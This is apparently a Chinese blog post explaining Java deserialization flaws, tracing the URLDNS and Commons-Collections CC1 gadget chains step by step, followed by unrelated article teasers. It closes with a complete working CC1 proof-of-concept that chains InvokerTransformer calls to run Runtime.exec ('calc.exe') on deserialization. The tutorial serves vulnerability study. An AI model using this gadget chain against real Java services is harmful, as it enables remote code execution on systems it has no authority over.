JAVA序列化与反序列化URLDNS链CC1链

1、序列化的实现

java序列化的是对象属性的,只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),静态成员变量是属于类的,所以静态成员变量是不能被序列化的,被transient 标识的对象成员变量不参与序列化。

2、重写readObject方法的原因

java.lang.Object
└── java.io.InputStream
└── java.io.ObjectInputStream
重写(Override)是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法,并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写,比如父类有a,b,c,readobject()这四个方法,但是你只希望使用readObject()方法进行重写,你就可以只重写readObject()方法。

3、Java反序列化漏洞条件

共同条件继承Serializable
入口类:因为反序列化一定会调用readObject()方法,所以可以把readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject,重写的这个readObject最好调用常见的函数,参数类型宽泛(Object 类最宽泛,接口类例如HashMap随便存放各种参数),最好是JDK自带的类(这里是因为要对方的服务器上也存在这个类才可以)
调用链:gadget chain 相同名称,相同类型
执行类:(rce ssrf写文件等)最重要

URLDNS链分析

思路:URL这个类有解析DNS的的方法,通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通过构造恶意类来攻击目标服务器实现DNS解析,可以考虑此方法。但是反序列化一定会调用的是readObjet()方法,也就是上面提到的readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject。这里如果你想到用URL类下自带的readObject方法,这个入口选择是错误的,如下图所示。在这里插入图片描述
从图中我们可以看出,URL类中的readObject并无可以进一步利用的函数“常见的函数,参数类型宽泛(Object 类最宽泛,接口类,例如HashMap随便存放各种参数)”因此我们就想找其他类作为入口,中间如果有相同名称,相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法,发现HashMap类下有有一个hash函数调用了hashCode,并且右键hash查找用法发现了readObject,构造链已经确定。HashMap——>readObject()——>hash()——>hashcode()

在这里插入图片描述

POC

一开始是这样写的如下图如
在这里插入图片描述
debug发现,序列化的时候就会解析DNS,原因是因为URL里的hashCode会默认hashCode=-1,导致进去hashCode去解析DNS。在这里插入图片描述
但是在反序列化的时候我们给URL之前默认给的值是1,这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS,导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1,然后再反序列化之前再把hashCode改为-1。

CC1链分析

首先找到Transform这个接口类看他的实现方法有哪些
在这里插入图片描述在InvokerTransformer类调用的transform方法发现此方法的类,参数类型,值都是可控的类似于后门,可以创建实现任意类,这里我们把他当做sink
在这里插入图片描述
进一步查找有无通过readObject方法调用transform方法的,找不到,因此找中间方法,找到了TransformedMap类下的checksetvalue方法调用了transform在这里插入图片描述
valueTransformer.transform(value);这里简单分析一下,当valueTransformer=InvokerTransformer
value=Runtime.class,便可实现命令执行。
这里通过valueTransformer构造方法传参
在这里插入图片描述

继续去找调用了checkSetValue方法的类,在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue
在这里插入图片描述
在这里插入图片描述

这里我们可以发现
MapEntry extends AbstractMapEntryDecorator
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue
在这里插入图片描述在这里插入图片描述
Map.Entry还是接口类

知识点:接口类必须被实现,抽象类的方法只能由子类实现

所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue()
然后再次去寻找那个类下的readObject()方法调用了setValue()方法,在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue()
在这里插入图片描述
下图是根据以上调用链条写的POC
在这里插入图片描述

这里进入调用setValue()首先要满足两个if条件
在这里插入图片描述
这是
在调试代码的时候发现我们传入的memberTypes为空
通过此行代码可以发现
Class<?> memberType = memberTypes.get(name);
他是从传入的mmberType通过get方法查找有无对应的参数
在这里插入图片描述
下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类
在这里插入图片描述

在这里插入图片描述
这个地方把key改成value
在这里插入图片描述

调试代码显示memberType已经不为空了
在这里插入图片描述
然后在想如何绕过第二个if
这里就要利用到了Transformer接口实现的另一个类ConstantTransformer,它实现了transform方法无论输入对象是什么,他都会返回参数构造中的固定值
在这里插入图片描述

但是你会发现,你不仅要调用创建InvokerTransformer,还要调用创建ConstantTransformer,如何解决这个问题呢,这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用
在这里插入图片描述
调用setvalue方法你会发现传入的参数是无效的参数,这时候就巧妙地用到了constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环
在这里插入图片描述

同时这里还有一个问题,Runtime类没有继承Serializable,所以要通过反射来实现,这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行
在这里插入图片描述

最后测试
在这里插入图片描述
成功
完整POC

package com.example.fastjson122.demos.web;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class TestCC1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//Runtime.getRuntime().exec("calc");Runtime r=Runtime.getRuntime();
//        Class c=Runtime.class;
//        Method execMethod=c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");Transformer[] transformer=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);//Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object,Object> map=new HashMap<>();map.put("value","value");Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);//transformedmap.put(1,Runtime.getRuntime());
//        for(Map.Entry entry:transformedmap.entrySet()){
//            entry.setValue(r);
//        }Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);annConstructor.setAccessible(true);Object o=annConstructor.newInstance(Target.class,transformedmap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));Object obj=ois.readObject();return obj;}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898372.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SAP-ABAP: 采购申请创建(PR)BAPI_PR_CREATE 技术指南-详解

BAPI_PR_CREATE 技术指南 用途&#xff1a;通过 RFC 接口创建 SAP 采购申请&#xff08;PR&#xff09;&#xff0c;支持自动化集成与批量处理。 一、功能概览 类别说明核心功能创建标准采购申请、预留转采购申请&#xff0c;支持多行项目及账户分配。集成场景与 MRP 系统、外…

Android7 Input(一)Android Input服务初始化

本系列博客主要描述Android 7.1系统中输入管理服务InputManagerService的源码分析。 概述 本文主要描述了InputManagerService服务的初始化和启动&#xff0c;在Android7系统上InputManagerService服务的框架如下所示: 注&#xff1a;箭头的方向&#xff0c;并不能真实代表数…

用于 RGB-D 显著目标检测的点感知交互和 CNN 诱导的细化网络(问题)

摘要 问题一&#xff1a;但在对自模态和跨模态的全局长距离依赖关系进行建模方面仍显不足。什么意思&#xff1f; 自模态&#xff08;Intra-modal&#xff09;全局依赖&#xff1a;在同一模态内&#xff0c;长距离像素之间的信息交互对于理解全局背景很重要&#xff0c;但 CN…

html5基于Canvas的经典打砖块游戏开发实践

基于Canvas的经典打砖块游戏开发实践 这里写目录标题 基于Canvas的经典打砖块游戏开发实践项目介绍技术栈核心功能实现1. 游戏初始化2. 游戏对象设计3. 碰撞检测系统4. 动画系统5. 用户界面设计 性能优化1. 渲染优化2. 内存管理 项目亮点技术难点突破项目总结 项目介绍 在这个…

MySQL外键约束下的索引删除难题:从报错到完美解决的实战指南

&#x1f6a8; MySQL外键约束下的索引删除难题&#xff1a;从报错到完美解决的实战指南 &#x1f525; 问题背景&#xff1a;一个看似简单的删除操作引发的连环坑 场景复现&#xff1a;某日接到需求&#xff0c;需删除 invite_codes 表中的冗余索引 FKnqn27fyjlgio5y60eieohi0…

使用 request 的 axios 状态码分析

request.interceptors.response.use(function(response){},function(error){})后端返回结果code400不经过response,直接跳到error。 当后端返回状态码为 400 时直接进入 error 回调而不经过 response 回调&#xff0c;这是因为 axios 默认会将状态码不在 200 - 299 范围内的响…

Rust嵌入式开发环境搭建指南(基于Stm32+Vscode)

Rust嵌入式开发环境搭建指南(基于Stm32+Vscode) 部分目录如下所示: 目录 简介Rust开发环境安装STM32开发工具链安装VSCode环境配置VSCode插件安装调试器配置项目创建与配置常见问题与解决方案简介 本文档旨在指导开发者如何搭建基于Rust语言的STM32嵌入式开发环境。相比传…

动态规划合集——动态规划基本原理

动态规划合集——动态规划基本原理 动态规划原理1258&#xff1a;【例9.2】数字金字塔 动态规划原理深度优先搜索记忆化搜索动态规划&#xff08;顺推&#xff09;动态规划原理题解分析 滚动数组优化动态规划&#xff08;逆推&#xff09; 动态规划原理 从数塔问题出发理解动态…

如何让节卡机器人精准对点?

如何让节卡机器人精准对点&#xff1f; JAKA Zu 软件主界面主要由功能栏、开关栏、菜单栏构成。 菜单栏&#xff1a;控制柜管理&#xff0c;机器人管理与软件管理组成。主要功能为对控制柜关机、APP 设置、机器人本体设 置、控制柜设置、连接机器人和机器人显示等功能。 开关…

自动化测试工具-Playwright介绍和快速实例

Playwright 是什么 Playwright 是由 Microsoft 开发的开源自动化测试工具,专为现代 Web 应用设计。它支持 Chromium、Firefox 和 WebKit 内核的浏览器,能够跨平台(Windows、macOS、Linux)运行,提供强大的浏览器自动化能力,适用于测试、爬虫和监控等场景。 Playwright的…

软考程序员考试知识点汇总

软考程序员考试&#xff08;初级资格&#xff09;主要考察计算机基础理论、编程能力及软件开发相关知识。以下是核心知识点总结及备考建议&#xff1a; 一、计算机基础 数制与编码 二进制、八进制、十进制、十六进制转换原码、反码、补码表示&#xff08;整数与浮点数&#xf…

实时视频分析的破局之道:蓝耘 MaaS 如何与海螺 AI 视频实现高效协同

一、蓝耘 MaaS 平台&#xff1a;AI 模型全生命周期管理的智能引擎 蓝耘 MaaS&#xff08;Model-as-a-Service&#xff09;平台是由蓝耘科技推出的 AI 模型全生命周期管理平台&#xff0c;专注于为企业和开发者提供从模型训练、推理到部署的一站式解决方案。依托云原生架构、高…

设计模式(行为型)-策略模式

目录 定义 类图 角色 角色详解 Strategy&#xff08;抽象策略类&#xff09;​ Context&#xff08;环境类 / 上下文类&#xff09;​ ConcreteStrategy&#xff08;具体策略类&#xff09;​ 优缺点 优点​ 缺点​ 使用场景 类行为差异场景​ 动态算法选…

【算法day14】三数之和

三数之和 https://leetcode.cn/problems/3sum/description/ 给你一个整数数组 nums &#xff0c;判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k &#xff0c;同时还满足 nums[i] nums[j] nums[k] 0 。请你返回所有和为 0 且不重复的三元组。…

优化器/模型参数/超参数

参数&#xff08;Parameters&#xff09; vs. 超参数&#xff08;Hyperparameters&#xff09; 1.1 参数&#xff08;Parameters&#xff09; 定义&#xff1a;模型中需要学习的变量&#xff0c;例如神经网络中的权重&#xff08;Weight&#xff09;和偏置&#xff08;Bias&a…

10、STL中的unordered_map使用方法

一、了解 1、unordered_map(哈希) unordered_map是借用哈希表实现的关联容器。 访问键值对O&#xff08;1&#xff09;&#xff0c;最坏情况O&#xff08;n&#xff09;&#xff0c;例如哈希冲突严重时。【n是一个哈希桶的元素数量】 unordered_map特性 键值对存储&#xff…

C++ 头文件说明

如果一个程序足够大&#xff0c;代码功能很多&#xff0c;可以想象&#xff0c;不可能把代码写在一个cpp文件里。我们需要模块化&#xff0c;这样的好处很多&#xff0c;方便分工合作&#xff0c;可读性提高&#xff0c;调用也方便。 这个要怎么做呢&#xff1f; 很简单直接当…

Lambda 表达式的语法:

在 Java 中&#xff0c;Lambda 表达式&#xff08;也称为匿名方法&#xff09;是一种简洁的表示方法接口&#xff08;Functional Interface&#xff09;实现的方式。它是 Java 8 引入的特性&#xff0c;目的是提高代码的简洁性和可读性。 Lambda 表达式的语法&#xff1a; La…

C#零基础入门篇(18. 文件操作指南)

## 一、文件操作基础 在C#中&#xff0c;文件操作主要通过System.IO命名空间中的类来实现&#xff0c;例如File、FileStream、FileInfo等。 ## 二、常用文件操作方法 ### &#xff08;一&#xff09;文件读取 1. **使用File.ReadAllText方法读取文件内容为字符串** …

每日一题--内存池

内存池&#xff08;Memory Pool&#xff09;是一种高效的内存管理技术&#xff0c;通过预先分配并自主管理内存块&#xff0c;减少频繁申请/释放内存的系统开销&#xff0c;提升程序性能。它是高性能编程&#xff08;如游戏引擎、数据库、网络服务器&#xff09;中的核心优化手…